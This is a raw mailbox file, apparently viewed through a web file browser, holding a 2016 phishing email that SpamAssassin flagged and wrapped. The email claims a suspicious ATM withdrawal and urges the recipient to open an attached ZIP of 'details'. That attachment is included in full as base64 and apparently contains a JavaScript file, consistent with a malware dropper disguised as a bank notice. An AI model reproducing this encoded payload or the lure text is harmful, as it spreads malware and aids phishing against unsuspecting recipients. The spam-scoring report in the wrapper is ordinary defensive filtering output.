
| Current Path : /home/ift/mails/15/ |
Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 |
| Current File : //home/ift/mails/15/1480328823.zrspam.155476_2016_11_28 |
From Mcbride.Jamal@sanjuanguides.com Mon Nov 28 11:27:03 2016
Return-Path: <Mcbride.Jamal@sanjuanguides.com>
X-Original-To: swonneberger@ift-informatik.de
Delivered-To: swonneberger@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
id D46863752552E; Mon, 28 Nov 2016 11:27:02 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
with SpamAssassin (version 3.4.0);
Mon, 28 Nov 2016 11:27:02 +0100
From: "Jamal Mcbride" <Mcbride.Jamal@sanjuanguides.com>
To: <swonneberger@ift-informatik.de>
Subject: *****SPAM***** Urgent Alert
Date: Mon, 28 Nov 2016 02:26:55 -0700
Message-Id: <9637411430.782162.14420.ExternalMail@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ***********
X-Spam-Status: Yes, score=11.2 required=5.0 tests=BAYES_40,PYZOR_CHECK,
RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_BRBL_LASTEXT,RCVD_IN_MSPIKE_BL,
RCVD_IN_MSPIKE_L5,RCVD_IN_PSBL,RCVD_IN_SORBS_WEB,RCVD_IN_XBL,RDNS_NONE,
UNPARSEABLE_RELAY autolearn=no autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_583C0676.8CAAFFCA"
This is a multi-part message in MIME format.
------------=_583C0676.8CAAFFCA
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Dear swonneberger, we have detected a suspicious money ATM
withdrawal from your card. For your security, we have temporarily blocked
the card. All the details are in the attachment. Please open it when possible.
[...]
Content analysis details: (11.2 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.4 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
[41.138.85.30 listed in zen.spamhaus.org]
1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
[Blocked - see <http://www.spamcop.net/bl.shtml?41.138.85.30>]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[41.138.85.30 listed in psbl.surriel.com]
2.4 RCVD_IN_MSPIKE_L5 RBL: Very bad reputation (-5)
[41.138.85.30 listed in bl.mailspike.net]
1.4 RCVD_IN_BRBL_LASTEXT RBL: No description available.
[41.138.85.30 listed in bb.barracudacentral.org]
-0.0 BAYES_40 BODY: Bayes spam probability is 20 to 40%
[score: 0.2970]
1.4 PYZOR_CHECK Listed in Pyzor (http://pyzor.sf.net/)
0.8 RCVD_IN_SORBS_WEB RBL: SORBS: sender is an abusable web server
[41.138.85.30 listed in dnsbl.sorbs.net]
0.0 RCVD_IN_MSPIKE_BL Mailspike blacklisted
0.8 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 UNPARSEABLE_RELAY Informational: message has unparseable relay lines
The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.
------------=_583C0676.8CAAFFCA
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit
Received: from [41.138.85.30] (unknown [41.138.85.30])
by ift-informatik.de (Postfix) with ESMTP id 8D39B3752552D
for <swonneberger@ift-informatik.de>; Mon, 28 Nov 2016 11:26:59 +0100 (CET)
Received: from internal (unknown [x.x.x.x])
Received: (nullmailer pid 08365 invoked by uid 3010402);
Mon, 28 Nov 2016 02:26:55 -0700
To: <swonneberger@ift-informatik.de>
Subject: Urgent Alert
X-PHP-Originating-Script: 3010402:ExternalMail.class.php
From: "Jamal Mcbride" <Mcbride.Jamal@sanjuanguides.com>
Date: Mon, 28 Nov 2016 02:26:55 -0700
MIME-Version: 1.0
Content-Type: multipart/related; boundary="b80ceed5abe8768e2190ad1740c72db0"
Message-Id: <9637411430.782162.14420.ExternalMail@ift-informatik.de>
--b80ceed5abe8768e2190ad1740c72db0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Dear swonneberger, we have detected a suspicious money ATM withdrawal =
from your card.
For your security, we have temporarily blocked the card.
All the details are in the attachment. Please open it when possible.
--b80ceed5abe8768e2190ad1740c72db0
Content-Type: application/zip; name="ATM_swonneberger.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ATM_swonneberger.zip"
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
--b80ceed5abe8768e2190ad1740c72db0--
------------=_583C0676.8CAAFFCA--